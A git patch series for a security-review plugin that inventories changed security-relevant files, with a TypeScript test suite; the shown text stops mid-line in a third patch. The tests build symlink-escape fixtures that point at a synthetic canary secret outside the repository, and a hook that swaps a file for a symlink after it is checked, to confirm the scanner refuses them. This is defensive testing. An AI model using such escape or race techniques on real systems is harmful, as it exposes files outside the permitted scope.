From dfab5666dd562bac0c9c398bb84031b9757a5622 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Wed, 29 Jul 2026 13:09:50 -0700 Subject: [PATCH 01/46] fix: safely inventory security-relevant diff changes --- .../scripts/generate_rank_input.py | 122 +++- .../tests-ts/diff-rank-input.test.ts | 549 ++++++++++++++++++ 2 files changed, 663 insertions(+), 8 deletions(-) create mode 100644 sdk/typescript/tests-ts/diff-rank-input.test.ts diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index e01bfd0b..756c1422 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -27,7 +27,9 @@ import argparse import hashlib import json +import os import re +import stat import subprocess import sys from collections import Counter @@ -36,7 +38,15 @@ # Some plugin hosts launch Python with safe-path isolation enabled. sys.path.insert(0, str(Path(__file__).resolve().parent)) -from rank_preview import DEFAULT_PREVIEW_BYTES, TEXT_CODE_EXTENSIONS, preview_for +from rank_preview import ( + DEFAULT_PREVIEW_BYTES, + TEXT_CODE_EXTENSIONS, + fit_preview_lines, + is_binary_sample, + preview_for, + select_preview_lines, + structural_outline, +) EXCLUDED_DIRS = { ".cache", @@ -114,6 +124,32 @@ "yarn.lock", } +SECURITY_RELEVANT_DIFF_FILENAMES = { + ".dockerignore", + "AGENTS.md", + "CLAUDE.md", + "CODEOWNERS", + "Containerfile", + "Dockerfile", + "compose.yaml", + "compose.yml", + "docker-compose.yaml", + "docker-compose.yml", +} + +SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES = { + "actions", + "scripts", + "workflows", +} + +SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES = { + "CODEOWNERS", + "copilot-instructions.md", + "dependabot.yaml", + "dependabot.yml", +} + SHARD_INPUT_GLOB = "rank-shard-*.input.jsonl" SHARD_OUTPUT_GLOB = "rank-shard-*.output.jsonl" SHARD_INPUT_PATTERN = re.compile(r"^rank-shard-([0-9]{4,})\.input\.jsonl$") @@ -274,6 +310,78 @@ def path_is_excluded(path: Path) -> bool: return path.name.endswith((".min.js", ".map")) +def diff_path_is_security_relevant(path: Path) -> bool: + if path.name in SECURITY_RELEVANT_DIFF_FILENAMES: + return True + if path.name.startswith(("Dockerfile.", "Containerfile.")): + return True + if path.name.lower().endswith(".dockerfile"): + return True + return ( + len(path.parts) >= 2 + and path.parts[0] == ".github" + and ( + path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES + or len(path.parts) == 2 + and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES + ) + ) + + +def diff_path_is_included(path: Path) -> bool: + if diff_path_is_security_relevant(path): + return not any(part in EXCLUDED_DIRS and part != ".github" for part in path.parts) + return not path_is_excluded(path) + + +def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str, bool]: + try: + if path.is_symlink(): + return "", False + + expected = path.stat(follow_symlinks=False) + if not stat.S_ISREG(expected.st_mode): + return "", False + + resolved = path.resolve(strict=True) + resolved.relative_to(repo) + resolved_stat = resolved.stat() + expected_identity = (expected.st_dev, expected.st_ino) + if (resolved_stat.st_dev, resolved_stat.st_ino) != expected_identity: + return "", False + + flags = os.O_RDONLY + flags |= getattr(os, "O_BINARY", 0) + flags |= getattr(os, "O_CLOEXEC", 0) + flags |= getattr(os, "O_NOFOLLOW", 0) + flags |= getattr(os, "O_NONBLOCK", 0) + + with os.fdopen(os.open(path, flags), "rb") as source: + opened = os.fstat(source.fileno()) + if ( + not stat.S_ISREG(opened.st_mode) + or (opened.st_dev, opened.st_ino) != expected_identity + ): + return "", False + + sample = source.read(4096) + if is_binary_sample(sample): + return "", True + + remaining = source.read(max(0, DIRECT_SCOPE_PREVIEW_READ_BYTES - len(sample))) + except (OSError, ValueError): + return "", False + + data = sample + remaining + if is_binary_sample(data): + return "", True + + text = data.decode("utf-8", errors="ignore") + outline = structural_outline(path, text) + preview_lines = select_preview_lines(outline or text.splitlines()) + return fit_preview_lines(preview_lines, preview_bytes), False + + def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -496,7 +604,7 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, "diff", "--name-status", "-z", - "--diff-filter=ACMRD", + "--diff-filter=ACMRDTU", *diff_args, ], check=True, @@ -540,17 +648,15 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: rows: list[JsonRow] = [] for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) - if path_is_excluded(rel) or path.suffix.lower() not in TEXT_CODE_EXTENSIONS: + if not diff_path_is_included(rel): continue - if status == "D": + if status in {"D", "U"}: preview = "" - elif path.is_file(): - preview, is_binary = preview_for(path, args.preview_bytes) + else: + preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) if is_binary: continue - else: - preview = "" rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) rows.sort(key=lambda row: str(row["path"])) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts new file mode 100644 index 00000000..b323a808 --- /dev/null +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -0,0 +1,549 @@ +import { execFileSync } from "node:child_process"; +import { + mkdir, + mkdtemp, + readFile, + realpath, + rename, + rm, + symlink, + writeFile, +} from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { afterEach, describe, expect, test } from "bun:test"; +import { PLUGIN_ROOT } from "./plugin-root.js"; + +type DiffMode = "revisions" | "local-patch"; + +type RankInputRow = { + path: string; + area: string; + preview: string; +}; + +type TestRepository = { + root: string; + repository: string; + base: string; +}; + +type PathSwap = { + path: string; + replacement: string; +}; + +const temporaryDirectories: string[] = []; + +afterEach(async () => { + await Promise.all( + temporaryDirectories + .splice(0) + .map((path) => rm(path, { recursive: true, force: true })), + ); +}); + +function git(repository: string, ...args: string[]): string { + return execFileSync("git", args, { + cwd: repository, + encoding: "utf8", + stdio: "pipe", + }).trim(); +} + +async function writeRepositoryFile( + repository: string, + path: string, + contents: string | Uint8Array, +): Promise { + const destination = join(repository, path); + await mkdir(dirname(destination), { recursive: true }); + await writeFile(destination, contents); +} + +async function createRepository(): Promise { + const root = await realpath( + await mkdtemp(join(tmpdir(), "codex-security-diff-rank-input-")), + ); + temporaryDirectories.push(root); + + const repository = join(root, "repository"); + await mkdir(repository); + git(repository, "init", "-q", "-b", "main"); + git(repository, "config", "user.name", "Codex Security Test"); + git(repository, "config", "user.email", "codex-security@example.invalid"); + git(repository, "config", "commit.gpgsign", "false"); + + await Promise.all([ + writeRepositoryFile(repository, ".gitignore", "node_modules/\nvendor/\n"), + writeRepositoryFile( + repository, + "AGENTS.md", + "Follow the existing policy.\n", + ), + writeRepositoryFile(repository, "docker-compose.yml", "services: {}\n"), + writeRepositoryFile(repository, "src/app.ts", "export const value = 1;\n"), + writeRepositoryFile(repository, "src/remove.py", "print('remove')\n"), + writeRepositoryFile(repository, "src/old.py", "print('rename')\n"), + ]); + git(repository, "add", "."); + git(repository, "commit", "-qm", "initial"); + + return { root, repository, base: git(repository, "rev-parse", "HEAD") }; +} + +async function runDiffRankInput( + fixture: TestRepository, + mode: DiffMode, + swap?: PathSwap, +): Promise { + const interpreter = + Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); + if (interpreter === null) { + throw new Error( + "A Python interpreter is required for diff rank input tests.", + ); + } + + const output = join( + fixture.root, + `rank-input-${mode}${swap ? "-swapped" : ""}.jsonl`, + ); + const command = [ + "make-diff-rank-input", + "--repo", + fixture.repository, + "--base", + fixture.base, + "--mode", + mode, + "--head", + "HEAD", + "--out", + output, + ]; + const script = join(PLUGIN_ROOT, "scripts", "generate_rank_input.py"); + const swapHook = [ + "from pathlib import Path", + "import sys", + "scripts, candidate, replacement = sys.argv[1:4]", + "sys.path.insert(0, scripts)", + "import generate_rank_input", + "original_resolve = Path.resolve", + "def swap_after_resolve(path, *args, **kwargs):", + " resolved = original_resolve(path, *args, **kwargs)", + " if path == Path(candidate) and kwargs.get('strict', False):", + " path.unlink()", + " path.symlink_to(replacement)", + " return resolved", + "Path.resolve = swap_after_resolve", + "sys.argv = [generate_rank_input.__file__, *sys.argv[4:]]", + "generate_rank_input.main()", + ].join("\n"); + const args = swap + ? [ + "-B", + "-c", + swapHook, + dirname(script), + join(fixture.repository, swap.path), + swap.replacement, + ...command, + ] + : ["-B", script, ...command]; + execFileSync(interpreter, args, { stdio: "pipe" }); + + const contents = (await readFile(output, "utf8")).trim(); + return contents + ? contents.split("\n").map((line) => JSON.parse(line) as RankInputRow) + : []; +} + +describe("diff rank input", () => { + test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { + const fixture = await createRepository(); + const files: Record = { + ".dockerignore": "node_modules\nvendor\n", + ".github/actions/security/action.yml": "runs:\n using: composite\n", + ".github/actions/security/index.js": "export const secure = true;\n", + ".github/actions/security/script.py": "print('review action')\n", + ".github/CODEOWNERS": "* @security-reviewers\n", + ".github/copilot-instructions.md": + "Review changes before running code.\n", + ".github/dependabot.yml": "version: 2\nupdates: []\n", + ".github/ISSUE_TEMPLATE/bug.yml": "name: Bug report\n", + ".github/scripts/security.py": "print('review first-party changes')\n", + ".github/workflows/security.yml": "name: Security\non: pull_request\n", + ".github/workflows/scripts/check.py": "print('check workflow')\n", + ".env.example": "AUTH_PROVIDER=example\n", + "AGENTS.md": "Require authorization before exposing credentials.\n", + "CLAUDE.md": "Keep repository credentials private.\n", + CODEOWNERS: "* @repository-owners\n", + Containerfile: "FROM scratch\n", + Dockerfile: "FROM node:24-alpine\n", + "compose.yaml": "services:\n app:\n image: app\n", + "config/nginx.conf": "server { listen 443 ssl; }\n", + "docker-compose.yml": "services:\n app:\n image: app\n", + "docs/example.py": "print('documentation example')\n", + "docs/AGENTS.md": + "Example instructions, not executable repository scope.\n", + "infra/main.tf": 'resource "example" "service" {}\n', + "infra/variables.hcl": 'environment = "production"\n', + "node_modules/AGENTS.md": "External dependency instructions.\n", + "node_modules/dependency.py": "print('external dependency')\n", + "policy/security.rego": "package security\ndefault allow = false\n", + "services/api/AGENTS.md": "Do not read files outside this service.\n", + "services/api/CLAUDE.md": "Review authentication changes.\n", + "services/api/Dockerfile.production": "FROM node:24-alpine\n", + "services/api/app.Dockerfile": "FROM node:24-alpine\n", + "src/app.ts": "export const value = 2;\n", + "src/auth.cjs": "module.exports = { authenticated: true };\n", + "vendor/Dockerfile": "FROM external-vendor\n", + "vendor/dependency.py": "print('vendored dependency')\n", + }; + + await Promise.all( + Object.entries(files).map(([path, contents]) => + writeRepositoryFile(fixture.repository, path, contents), + ), + ); + git(fixture.repository, "add", "-A"); + git( + fixture.repository, + "add", + "-f", + "node_modules/AGENTS.md", + "node_modules/dependency.py", + "vendor/Dockerfile", + "vendor/dependency.py", + ); + git(fixture.repository, "commit", "-qm", "change security-sensitive files"); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows.map((row) => row.path)).toEqual( + [ + ".dockerignore", + ".github/actions/security/action.yml", + ".github/actions/security/index.js", + ".github/actions/security/script.py", + ".github/CODEOWNERS", + ".github/copilot-instructions.md", + ".github/dependabot.yml", + ".github/scripts/security.py", + ".github/workflows/security.yml", + ".github/workflows/scripts/check.py", + ".env.example", + "AGENTS.md", + "CLAUDE.md", + "CODEOWNERS", + "Containerfile", + "Dockerfile", + "compose.yaml", + "config/nginx.conf", + "docker-compose.yml", + "infra/main.tf", + "infra/variables.hcl", + "policy/security.rego", + "services/api/AGENTS.md", + "services/api/CLAUDE.md", + "services/api/Dockerfile.production", + "services/api/app.Dockerfile", + "src/app.ts", + "src/auth.cjs", + ].sort(), + ); + expect(rows.every((row) => row.area === "diff")).toBe(true); + expect(rows.every((row) => row.preview.length > 0)).toBe(true); + }); + + test("inventories both staged and unstaged security-sensitive changes", async () => { + const fixture = await createRepository(); + + await Promise.all([ + writeRepositoryFile( + fixture.repository, + ".github/workflows/staged.yml", + "name: Staged security workflow\n", + ), + writeRepositoryFile(fixture.repository, "Dockerfile", "FROM scratch\n"), + ]); + git( + fixture.repository, + "add", + ".github/workflows/staged.yml", + "Dockerfile", + ); + + await Promise.all([ + writeRepositoryFile( + fixture.repository, + "AGENTS.md", + "Review the staged changes.\n", + ), + writeRepositoryFile( + fixture.repository, + "docker-compose.yml", + "services:\n app:\n image: changed\n", + ), + writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ), + ]); + + const rows = await runDiffRankInput(fixture, "local-patch"); + + expect(rows.map((row) => row.path)).toEqual( + [ + ".github/workflows/staged.yml", + "AGENTS.md", + "Dockerfile", + "docker-compose.yml", + "src/app.ts", + ].sort(), + ); + expect(rows.every((row) => row.preview.length > 0)).toBe(true); + }); + + test.skipIf(process.platform === "win32")( + "never previews committed symlinks or repository paths escaping through a symlinked parent", + async () => { + const fixture = await createRepository(); + const canary = "CODEX_SECURITY_SYNTHETIC_EXTERNAL_SECRET_7e98526d"; + const externalFile = join(fixture.root, "external-canary.py"); + const externalDirectory = join(fixture.root, "external-directory"); + await mkdir(externalDirectory); + await Promise.all([ + writeFile(externalFile, `secret = '${canary}'\n`), + writeFile( + join(externalDirectory, "escaped.py"), + `secret = '${canary}'\n`, + ), + writeRepositoryFile( + fixture.repository, + "src/parent/escaped.py", + "print('safe committed source')\n", + ), + writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ), + mkdir(join(fixture.repository, ".github", "workflows"), { + recursive: true, + }), + ]); + await Promise.all([ + symlink(externalFile, join(fixture.repository, "src", "linked.py")), + symlink( + externalFile, + join(fixture.repository, ".github", "workflows", "linked.yml"), + ), + ]); + git(fixture.repository, "add", "-A"); + git(fixture.repository, "commit", "-qm", "add changed symlinks"); + + await rm(join(fixture.repository, "src", "parent"), { + recursive: true, + force: true, + }); + await symlink( + externalDirectory, + join(fixture.repository, "src", "parent"), + "dir", + ); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows.map((row) => row.path)).toEqual( + [ + ".github/workflows/linked.yml", + "src/app.ts", + "src/linked.py", + "src/parent/escaped.py", + ].sort(), + ); + expect( + rows + .filter((row) => row.path !== "src/app.ts") + .every((row) => row.preview === ""), + ).toBe(true); + expect(JSON.stringify(rows)).not.toContain(canary); + expect(await readFile(externalFile, "utf8")).toContain(canary); + }, + ); + + test.skipIf(process.platform === "win32")( + "never previews staged symlinks in a local patch", + async () => { + const fixture = await createRepository(); + const canary = "CODEX_SECURITY_SYNTHETIC_LOCAL_PATCH_SECRET_ef9b01d2"; + const externalFile = join(fixture.root, "external-canary.py"); + await writeFile(externalFile, `secret = '${canary}'\n`); + await symlink(externalFile, join(fixture.repository, "src", "linked.py")); + git(fixture.repository, "add", "src/linked.py"); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + + const rows = await runDiffRankInput(fixture, "local-patch"); + + expect(rows.map((row) => row.path)).toEqual([ + "src/app.ts", + "src/linked.py", + ]); + expect(rows.find((row) => row.path === "src/linked.py")?.preview).toBe( + "", + ); + expect(JSON.stringify(rows)).not.toContain(canary); + expect(await readFile(externalFile, "utf8")).toContain(canary); + }, + ); + + test.skipIf(process.platform === "win32")( + "inventories tracked files replaced with symlinks in committed and local diffs", + async () => { + for (const mode of ["revisions", "local-patch"] as const) { + const fixture = await createRepository(); + const canary = `CODEX_SECURITY_SYNTHETIC_TYPE_CHANGE_${mode}`; + const externalFile = join(fixture.root, "external-canary.py"); + await writeFile(externalFile, `secret = '${canary}'\n`); + + const trackedFile = join(fixture.repository, "src", "app.ts"); + await rm(trackedFile); + await symlink(externalFile, trackedFile); + git(fixture.repository, "add", "src/app.ts"); + if (mode === "revisions") { + git( + fixture.repository, + "commit", + "-qm", + "replace source with symlink", + ); + } + + const rows = await runDiffRankInput(fixture, mode); + + expect(rows).toEqual([ + { path: "src/app.ts", area: "diff", preview: "" }, + ]); + expect(JSON.stringify(rows)).not.toContain(canary); + expect(await readFile(externalFile, "utf8")).toContain(canary); + } + }, + ); + + test.skipIf(process.platform === "win32")( + "rejects a deterministic symlink swap after canonical containment is checked", + async () => { + const fixture = await createRepository(); + const canary = "CODEX_SECURITY_SYNTHETIC_POST_CHECK_SECRET_c326a1f4"; + const externalFile = join(fixture.root, "external-canary.py"); + await writeFile(externalFile, `secret = '${canary}'\n`); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "update reviewed source"); + + const rows = await runDiffRankInput(fixture, "revisions", { + path: "src/app.ts", + replacement: externalFile, + }); + + expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); + expect(JSON.stringify(rows)).not.toContain(canary); + expect(await readFile(externalFile, "utf8")).toContain(canary); + }, + ); + + test.skipIf(process.platform === "win32")( + "inventories a changed FIFO without blocking or reading it", + async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "update reviewed source"); + + const trackedFile = join(fixture.repository, "src", "app.ts"); + await rm(trackedFile); + execFileSync("mkfifo", [trackedFile], { stdio: "pipe" }); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); + }, + ); + + test("preserves deleted and renamed source files without following deleted paths", async () => { + const fixture = await createRepository(); + await rm(join(fixture.repository, "src", "remove.py")); + await rename( + join(fixture.repository, "src", "old.py"), + join(fixture.repository, "src", "renamed.py"), + ); + git(fixture.repository, "add", "-A"); + git(fixture.repository, "commit", "-qm", "delete and rename source"); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows).toEqual([ + { path: "src/remove.py", area: "diff", preview: "" }, + { + path: "src/renamed.py", + area: "diff", + preview: "print('rename')", + }, + ]); + }); + + test("continues to exclude binary files and ignored dependency directories", async () => { + const fixture = await createRepository(); + await Promise.all([ + writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ), + writeRepositoryFile( + fixture.repository, + "src/binary.py", + Buffer.from([0x00, 0x01, 0x02, 0x03]), + ), + writeRepositoryFile( + fixture.repository, + "node_modules/dependency.py", + "print('external dependency')\n", + ), + writeRepositoryFile( + fixture.repository, + "vendor/dependency.py", + "print('vendored dependency')\n", + ), + ]); + git(fixture.repository, "add", "-A"); + git( + fixture.repository, + "add", + "-f", + "node_modules/dependency.py", + "vendor/dependency.py", + ); + git(fixture.repository, "commit", "-qm", "change source and dependencies"); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows.map((row) => row.path)).toEqual(["src/app.ts"]); + expect(rows[0]?.preview).toContain("value = 2"); + }); +}); From dff846ea1486135332f9b297268e3f18b3dbd2f6 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Wed, 29 Jul 2026 23:33:57 -0700 Subject: [PATCH 02/46] fix: fail closed on unsafe security-relevant diff paths --- .../scripts/generate_rank_input.py | 62 +++++++++-- .../tests-ts/diff-rank-input.test.ts | 105 +++++++++++------- 2 files changed, 119 insertions(+), 48 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 756c1422..1af2bd86 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -143,6 +143,37 @@ "workflows", } +SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS = { + ".git", + "doc", + "docs", + "example", + "examples", + "external", + "extern", + "fixture", + "fixtures", + "node_modules", + "sample", + "samples", + "third-party", + "third_party", + "vendor", +} + +SECURITY_RELEVANT_DIFF_EXTENSIONS = { + *TEXT_CODE_EXTENSIONS, + ".cjs", + ".conf", + ".env", + ".hcl", + ".ini", + ".properties", + ".rego", + ".tf", + ".tfvars", +} + SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES = { "CODEOWNERS", "copilot-instructions.md", @@ -322,6 +353,8 @@ def diff_path_is_security_relevant(path: Path) -> bool: and path.parts[0] == ".github" and ( path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES + or path.parts[1] == "instructions" + and path.name.endswith(".instructions.md") or len(path.parts) == 2 and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES ) @@ -330,25 +363,38 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: if diff_path_is_security_relevant(path): - return not any(part in EXCLUDED_DIRS and part != ".github" for part in path.parts) - return not path_is_excluded(path) + return not any(part in SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS for part in path.parts) + return ( + not path_is_excluded(path) + and ( + path.suffix.lower() in SECURITY_RELEVANT_DIFF_EXTENSIONS + or path.name == ".env" + or path.name.startswith(".env.") + ) + ) def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str, bool]: + def reject_unsafe_path(cause: BaseException | None = None) -> None: + message = f"Unsafe changed repository path cannot be safely reviewed: {path.relative_to(repo)}" + if cause is None: + raise SystemExit(message) + raise SystemExit(message) from cause + try: if path.is_symlink(): - return "", False + reject_unsafe_path() expected = path.stat(follow_symlinks=False) if not stat.S_ISREG(expected.st_mode): - return "", False + reject_unsafe_path() resolved = path.resolve(strict=True) resolved.relative_to(repo) resolved_stat = resolved.stat() expected_identity = (expected.st_dev, expected.st_ino) if (resolved_stat.st_dev, resolved_stat.st_ino) != expected_identity: - return "", False + reject_unsafe_path() flags = os.O_RDONLY flags |= getattr(os, "O_BINARY", 0) @@ -362,15 +408,15 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s not stat.S_ISREG(opened.st_mode) or (opened.st_dev, opened.st_ino) != expected_identity ): - return "", False + reject_unsafe_path() sample = source.read(4096) if is_binary_sample(sample): return "", True remaining = source.read(max(0, DIRECT_SCOPE_PREVIEW_READ_BYTES - len(sample))) - except (OSError, ValueError): - return "", False + except (OSError, ValueError) as error: + reject_unsafe_path(error) data = sample + remaining if is_binary_sample(data): diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index b323a808..a9d3d4fa 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -164,14 +164,19 @@ describe("diff rank input", () => { const fixture = await createRepository(); const files: Record = { ".dockerignore": "node_modules\nvendor\n", + ".github/actions/build/action.yml": "runs:\n using: composite\n", ".github/actions/security/action.yml": "runs:\n using: composite\n", ".github/actions/security/index.js": "export const secure = true;\n", ".github/actions/security/script.py": "print('review action')\n", + ".github/actions/test/action.yml": "runs:\n using: composite\n", ".github/CODEOWNERS": "* @security-reviewers\n", ".github/copilot-instructions.md": "Review changes before running code.\n", ".github/dependabot.yml": "version: 2\nupdates: []\n", + ".github/instructions/security.instructions.md": + "Review every authentication boundary.\n", ".github/ISSUE_TEMPLATE/bug.yml": "name: Bug report\n", + ".github/scripts/ci/check.py": "print('review CI helper')\n", ".github/scripts/security.py": "print('review first-party changes')\n", ".github/workflows/security.yml": "name: Security\non: pull_request\n", ".github/workflows/scripts/check.py": "print('check workflow')\n", @@ -181,6 +186,7 @@ describe("diff rank input", () => { CODEOWNERS: "* @repository-owners\n", Containerfile: "FROM scratch\n", Dockerfile: "FROM node:24-alpine\n", + "build/Dockerfile": "FROM node:24-alpine\n", "compose.yaml": "services:\n app:\n image: app\n", "config/nginx.conf": "server { listen 443 ssl; }\n", "docker-compose.yml": "services:\n app:\n image: app\n", @@ -224,12 +230,16 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual( [ ".dockerignore", + ".github/actions/build/action.yml", ".github/actions/security/action.yml", ".github/actions/security/index.js", ".github/actions/security/script.py", + ".github/actions/test/action.yml", ".github/CODEOWNERS", ".github/copilot-instructions.md", ".github/dependabot.yml", + ".github/instructions/security.instructions.md", + ".github/scripts/ci/check.py", ".github/scripts/security.py", ".github/workflows/security.yml", ".github/workflows/scripts/check.py", @@ -239,6 +249,7 @@ describe("diff rank input", () => { "CODEOWNERS", "Containerfile", "Dockerfile", + "build/Dockerfile", "compose.yaml", "config/nginx.conf", "docker-compose.yml", @@ -355,22 +366,9 @@ describe("diff rank input", () => { "dir", ); - const rows = await runDiffRankInput(fixture, "revisions"); - - expect(rows.map((row) => row.path)).toEqual( - [ - ".github/workflows/linked.yml", - "src/app.ts", - "src/linked.py", - "src/parent/escaped.py", - ].sort(), + await expect(runDiffRankInput(fixture, "revisions")).rejects.toThrow( + /unsafe changed repository path/iu, ); - expect( - rows - .filter((row) => row.path !== "src/app.ts") - .every((row) => row.preview === ""), - ).toBe(true); - expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); @@ -390,16 +388,9 @@ describe("diff rank input", () => { "export const value = 2;\n", ); - const rows = await runDiffRankInput(fixture, "local-patch"); - - expect(rows.map((row) => row.path)).toEqual([ - "src/app.ts", - "src/linked.py", - ]); - expect(rows.find((row) => row.path === "src/linked.py")?.preview).toBe( - "", + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /unsafe changed repository path/iu, ); - expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); @@ -426,12 +417,9 @@ describe("diff rank input", () => { ); } - const rows = await runDiffRankInput(fixture, mode); - - expect(rows).toEqual([ - { path: "src/app.ts", area: "diff", preview: "" }, - ]); - expect(JSON.stringify(rows)).not.toContain(canary); + await expect(runDiffRankInput(fixture, mode)).rejects.toThrow( + /unsafe changed repository path/iu, + ); expect(await readFile(externalFile, "utf8")).toContain(canary); } }, @@ -452,13 +440,12 @@ describe("diff rank input", () => { git(fixture.repository, "add", "src/app.ts"); git(fixture.repository, "commit", "-qm", "update reviewed source"); - const rows = await runDiffRankInput(fixture, "revisions", { - path: "src/app.ts", - replacement: externalFile, - }); - - expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); - expect(JSON.stringify(rows)).not.toContain(canary); + await expect( + runDiffRankInput(fixture, "revisions", { + path: "src/app.ts", + replacement: externalFile, + }), + ).rejects.toThrow(/unsafe changed repository path/iu); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); @@ -479,9 +466,9 @@ describe("diff rank input", () => { await rm(trackedFile); execFileSync("mkfifo", [trackedFile], { stdio: "pipe" }); - const rows = await runDiffRankInput(fixture, "revisions"); - - expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); + await expect(runDiffRankInput(fixture, "revisions")).rejects.toThrow( + /unsafe changed repository path/iu, + ); }, ); @@ -546,4 +533,42 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual(["src/app.ts"]); expect(rows[0]?.preview).toContain("value = 2"); }); + + test("excludes changed and deleted non-source binary assets", async () => { + const fixture = await createRepository(); + await Promise.all([ + writeRepositoryFile( + fixture.repository, + "assets/deleted.png", + Buffer.from([0x89, 0x50, 0x4e, 0x47]), + ), + writeRepositoryFile( + fixture.repository, + "assets/changed.png", + Buffer.from([0x89, 0x50, 0x4e, 0x47]), + ), + ]); + git(fixture.repository, "add", "assets"); + git(fixture.repository, "commit", "-qm", "add image assets"); + const base = git(fixture.repository, "rev-parse", "HEAD"); + await Promise.all([ + rm(join(fixture.repository, "assets", "deleted.png")), + writeRepositoryFile( + fixture.repository, + "assets/changed.png", + Buffer.from([0x89, 0x50, 0x4e, 0x48]), + ), + writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ), + ]); + git(fixture.repository, "add", "-A"); + git(fixture.repository, "commit", "-qm", "change source and image assets"); + + const rows = await runDiffRankInput({ ...fixture, base }, "revisions"); + + expect(rows.map((row) => row.path)).toEqual(["src/app.ts"]); + }); }); From c8e965670fadd51701fb91cefb77f84a0dde8f2b Mon Sep 17 00:00:00 2001 From: Create Something Date: Wed, 29 Jul 2026 19:35:20 -0500 Subject: [PATCH 03/46] fix: bind immutable diffs to snapshot digests --- .../_bundled_plugin/scripts/workbench_db.py | 33 ++++-- .../scripts/workbench_target.py | 24 +++++ sdk/typescript/tests-ts/runtime.test.ts | 48 +++++++++ sdk/typescript/tests-ts/scan-recovery.test.ts | 101 ++++++++++++++++++ 4 files changed, 197 insertions(+), 9 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index ebee840c..cd426551 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -97,6 +97,7 @@ directory_content_digest, directory_snapshot_regular_file_count, git_command, + git_diff_content_digest, git_output, git_revision, git_submodule_paths, @@ -413,12 +414,28 @@ def require_diff_target( ) if supplied_base != parent: raise SystemExit("Commit base revision must match the selected commit's parent.") - return {"kind": kind, "baseRevision": parent, "headRevision": head} + current_digest = git_diff_content_digest(target, parent, head) + if content_digest and content_digest != current_digest: + raise SystemExit("The selected commit contents changed. Select the commit again.") + return { + "kind": kind, + "baseRevision": parent, + "headRevision": head, + "contentDigest": current_digest, + } base = resolve_git_commit(target, base_revision or "", "Base revision") head = resolve_git_commit(target, head_revision or "", "Head revision") if base == 